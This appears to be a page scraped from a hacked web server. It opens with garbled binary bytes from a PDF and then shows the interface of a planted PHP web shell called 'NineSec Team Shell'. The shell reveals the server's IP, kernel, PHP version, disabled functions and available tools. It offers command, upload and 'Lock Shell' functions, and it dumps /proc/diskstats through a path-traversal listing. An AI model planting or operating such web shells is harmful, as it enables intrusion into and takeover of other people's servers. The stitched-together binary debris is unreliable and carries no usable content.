%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 192.168.60.199  /  Your IP : 192.168.60.1
Web Server : Apache
System : Linux PROD-conference 6.8.12-17-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-17 (2025-11-21T11:16Z) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-0+deb8u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /srv/../sys/../sys/../../proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //srv/../sys/../sys/../../proc/diskstats
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8      80 sdf 634 0 58280 321 0 0 0 0 0 80 321 0 0 0 0 0 0
   8      81 sdf1 102 0 9824 54 0 0 0 0 0 42 54 0 0 0 0 0 0
   8      82 sdf2 99 0 9824 53 0 0 0 0 0 39 53 0 0 0 0 0 0
   8      83 sdf3 99 0 9824 64 0 0 0 0 0 39 64 0 0 0 0 0 0
   8      84 sdf4 99 0 9824 55 0 0 0 0 0 41 55 0 0 0 0 0 0
   8      85 sdf5 99 0 9824 49 0 0 0 0 0 39 49 0 0 0 0 0 0
   8      64 sde 60518476 25946 6967336404 595344857 328011235 268025504 12268878495 262526655 0 22572273 857871513 0 0 0 0 0 0
   8      65 sde1 52 0 2080 13 0 0 0 0 0 5 13 0 0 0 0 0 0
   8      66 sde2 490 1057 43452 125 286 0 286 23 0 74 148 0 0 0 0 0 0
   8      67 sde3 60517815 24889 6967284952 595344657 328010949 268025504 12268878209 262526632 0 28183681 857871289 0 0 0 0 0 0
   8      96 sdg 634 0 58280 294 0 0 0 0 0 76 294 0 0 0 0 0 0
   8      97 sdg1 102 0 9824 43 0 0 0 0 0 31 43 0 0 0 0 0 0
   8      98 sdg2 99 0 9824 52 0 0 0 0 0 35 52 0 0 0 0 0 0
   8      99 sdg3 99 0 9824 56 0 0 0 0 0 41 56 0 0 0 0 0 0
   8     100 sdg4 99 0 9824 53 0 0 0 0 0 44 53 0 0 0 0 0 0
   8     101 sdg5 99 0 9824 48 0 0 0 0 0 40 48 0 0 0 0 0 0
   8       0 sda 511705763 227021304 54779205896 351804545 4103779186 982056408 67268145760 515392386 0 468705135 1080061636 0 0 0 0 1733372702 212864704
   8      32 sdc 498580074 237096981 56486220168 371334945 4160571978 982478884 68869995152 538047023 0 511935310 1125121867 0 0 0 0 1747518694 215739898
   8      16 sdb 513534164 227839642 55170779848 359145765 4564844760 1040271414 72311250672 573431644 0 524825346 1163396185 0 0 0 0 1921119016 230818776
   8      48 sdd 307888051 143293050 33547011632 197618562 3300730181 711735354 48928068608 366243846 0 361578820 730992781 0 0 0 0 1430870878 167130372
 252       0 dm-0 738726997 0 54779193816 570644666 5085835594 0 67268145760 2180906760 0 590452357 2751551426 0 0 0 0 0 0
 252       1 dm-1 1444 0 18568 136 5971 0 47768 183955 0 8154 184091 0 0 0 0 0 0
 252       2 dm-2 451181031 0 33546999552 338751475 4012465535 0 48928068608 1339592132 0 464238924 1678343607 0 0 0 0 0 0
 252       3 dm-3 741373736 0 55170767768 579795084 5605116174 0 72311250672 2436987172 0 704271785 3016782256 0 0 0 0 0 0
 252       4 dm-4 735676985 0 56486208088 606900834 5143050862 0 68869995152 2319681427 0 729594674 2926582261 0 0 0 0 0 0
 252       5 dm-5 63788 0 5675730 16361 506697013 0 9078833248 72761930 0 15693041 72778291 0 0 0 0 0 0
 252       6 dm-6 12508337 0 6961578608 44943170 37184723 0 3189997193 19750276 0 81882014 64693446 0 0 0 0 0 0
   8     112 sdh 364 0 20884 303 0 0 0 0 0 216 303 0 0 0 0 0 0
   8     113 sdh1 31 0 464 20 0 0 0 0 0 21 20 0 0 0 0 0 0
   8     114 sdh2 68 0 3192 58 0 0 0 0 0 52 58 0 0 0 0 0 0
   8     115 sdh3 92 0 9036 95 0 0 0 0 0 88 95 0 0 0 0 0 0
   8     116 sdh4 36 0 768 26 0 0 0 0 0 28 26 0 0 0 0 0 0
 251       0 rbd0 438413 45890 99789802 279423 17566962 27115348 405634416 43547722 0 57681429 43827146 0 0 0 0 0 0
 251      32 rbd2 158971 5379 5611826 93017 25441318 19221444 511445000 55896744 0 50139060 55989761 0 0 0 0 0 0
 251      64 rbd4 129536 30884 3772498 47763 26802279 46360969 639932832 61653444 0 36510205 61701207 0 0 0 0 0 0
 251      80 rbd5 89093 9616 6551666 45847 60930948 30504788 1553962168 116678265 0 72978000 116724113 0 0 0 0 0 0
 251     128 rbd8 7343 1251 771474 5150 12474497 1086630 127036240 24860949 0 15054343 24886221 150158 11437 1134853032 20122 0 0
 251     144 rbd9 133933 29750 8704842 42988 2809392 550373 121376808 7529518 0 10096421 7621441 64602 7898 443140128 48934 0 0
 251      48 rbd3 29993 8274 1635800 19820 2293535 220050 22291157 5410280 0 4386215 5430100 0 0 0 0 0 0
 251     160 rbd10 134962983 280743 4600152226 75832210 281424235 97982398 6372379593 786168795 0 121900891 862713826 843101 510642 1533840168 712820 0 0
 251     112 rbd7 105465 10087 8855596 63864 2250656 389354 52496136 5688109 0 5762359 5867215 49792 10949 253190856 115241 0 0
 251     176 rbd11 149036 15016 118987892 222400 1958347 40586 32599360 4600040 0 3818100 4825174 14716 1500 109635296 2734 0 0
 251      96 rbd6 12192130 109805 401308474 34634162 89677367 17328645 2602681304 234934500 0 278298114 269568663 0 0 0 0 0 0

NineSec Team - 2022